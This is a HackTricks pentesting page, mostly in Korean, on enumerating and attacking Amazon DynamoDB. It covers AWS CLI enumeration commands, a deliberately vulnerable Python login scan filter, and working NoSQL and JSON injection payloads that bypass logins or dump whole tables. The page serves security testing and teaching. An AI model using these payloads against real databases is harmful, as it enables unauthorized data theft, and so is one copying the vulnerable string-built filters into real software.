AWS - DynamoDB Enum

Support HackTricks

DynamoDB

Basic Information

Amazon DynamoDB는 AWS에서 완전 관리형, 서버리스, 키-값 NoSQL 데이터베이스로 제공되며, 크기에 관계없이 고성능 애플리케이션을 지원하도록 설계되었습니다. 이 서비스는 내재된 보안 조치, 중단 없는 백업, 여러 지역에 걸친 자동 복제, 통합 인메모리 캐싱 및 편리한 데이터 내보내기 유틸리티를 포함한 강력한 기능을 보장합니다.

DynamoDB의 맥락에서 전통적인 데이터베이스를 설정하는 대신 테이블이 생성됩니다. 각 테이블은 테이블의 기본 키의 필수 구성 요소로 파티션 키의 지정을 요구합니다. 이 파티션 키는 본질적으로 해시 값으로, 항목 검색 및 다양한 호스트 간 데이터 분배에서 중요한 역할을 합니다. 이 분배는 데이터베이스의 확장성과 가용성을 유지하는 데 필수적입니다. 또한, 데이터 조직을 더욱 세분화하기 위해 정렬 키를 추가할 수 있는 옵션이 있습니다.

Encryption

기본적으로 DynamoDB는 Amazon DynamoDB에 속하는 KMS 키를 사용하며, 귀하의 계정에 최소한 속하는 AWS 관리 키조차 사용하지 않습니다.

Backups & Export to S3

테이블 백업 생성을 예약하거나 요청에 따라 생성할 수 있습니다. 또한, **테이블에 대한 시점 복구(PITR)**를 활성화할 수도 있습니다. 시점 복구는 우발적인 쓰기 또는 삭제 작업으로부터 보호하기 위해 DynamoDB 데이터의 35일 동안 지속적인 백업을 제공합니다.

테이블의 데이터를 S3로 내보내는 것도 가능하지만, 테이블에 PITR이 활성화되어 있어야 합니다.

GUI

DynamoDB Local, dynalite, localstack 등과 같은 로컬 Dynamo 서비스에 대한 GUI가 있으며, 유용할 수 있습니다: https://github.com/aaronshaf/dynamodb-admin

Enumeration

# Tables
aws dynamodb list-tables
aws dynamodb describe-table --table-name <t_name> #Get metadata info
## The primary key and sort key will appear inside the KeySchema field

#Check if point in time recovery is enabled
aws dynamodb describe-continuous-backups \
--table-name tablename

# Backups
aws dynamodb list-backups
aws dynamodb describe-backup --backup-arn <arn>
aws dynamodb describe-continuous-backups --table-name <t_name>

# Global tables
aws dynamodb list-global-tables
aws dynamodb describe-global-table --global-table-name <name>

# Exports
aws dynamodb list-exports
aws dynamodb describe-export --export-arn <arn>

# Misc
aws dynamodb describe-endpoints #Dynamodb endpoints

인증되지 않은 접근

AWS - DynamoDB Unauthenticated Access

권한 상승

AWS - DynamoDB Privesc

포스트 익스플로잇

AWS - DynamoDB Post Exploitation

지속성

AWS - DynamoDB Persistence

DynamoDB 인젝션

SQL 인젝션

DynamoDB 데이터에 SQL 구문으로 접근할 수 있는 방법이 있으므로, 일반적인 SQL 인젝션도 가능합니다.

NoSQL 인젝션

DynamoDB에서는 데이터를 검색하기 위해 다양한 조건을 사용할 수 있으며, 일반적인 NoSQL 인젝션에서 더 많은 조건을 연결하여 데이터를 검색할 수 있다면 숨겨진 데이터(또는 전체 테이블을 덤프할 수 있음)를 얻을 수 있습니다. 여기에서 DynamoDB에서 지원하는 조건을 확인할 수 있습니다: https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html

query 또는 **scan**을 통해 데이터에 접근할 경우 다른 조건이 지원된다는 점에 유의하세요.

실제로, Query 작업은 작동하기 위해 기본 키에서 **조건 "EQ" (같음)**을 지정해야 하므로, NoSQL 인젝션에 덜 취약합니다(또한 작업이 매우 제한적입니다).

비교를 변경하거나 새로운 비교를 추가할 수 있다면, 더 많은 데이터를 검색할 수 있습니다.

# Comparators to dump the database
"NE": "a123" #Get everything that doesn't equal "a123"
"NOT_CONTAINS": "a123" #What you think
"GT": " " #All strings are greater than a space

Raw Json injection

이 취약점은 현재 사용 중지된 dynamodb Scan Filter에 기반합니다!

DynamoDB는 DB 내에서 데이터를 검색하기 위해 Json 객체를 수락합니다. 검색을 위해 전송된 json 객체에 쓸 수 있다는 것을 발견하면, DB 덤프를 만들어 모든 내용을 가져올 수 있습니다.

예를 들어, 다음과 같은 요청에 주입하는 것입니다:

'{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}'

공격자는 다음과 같은 것을 주입할 수 있습니다:

1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0

ID 1000을 검색하는 "EQ" 조건을 수정한 다음, 0보다 큰 모든 Id 문자열을 찾는 것입니다. 이는 모든 데이터입니다.

또 다른 로그인을 사용하는 취약한 예는 다음과 같습니다:

scan_filter = """{
"username": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
},
"password": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
}
}
""" % (user_data['username'], user_data['password'])

dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter))

이것은 다음과 같은 취약점이 있을 수 있습니다:

username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none

:property Injection

일부 SDK는 수행할 필터링을 나타내는 문자열을 사용할 수 있습니다. 예를 들어:

new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)

DynamoDB에서 항목을 스캔할 때 필터 표현식에서 속성 대체하기 위해 검색할 때, 토큰은 : 문자로 시작해야 합니다. 이러한 토큰은 실행 시간에 실제 속성 값으로 대체됩니다.

따라서 이전과 같은 로그인을 우회할 수 있는 방법은 다음과 같습니다:

:username = :username or :username
# This will generate the query:
# :username = :username or :username = :username and Password = :password
# which is always true
HackTricks 지원하기

Last updated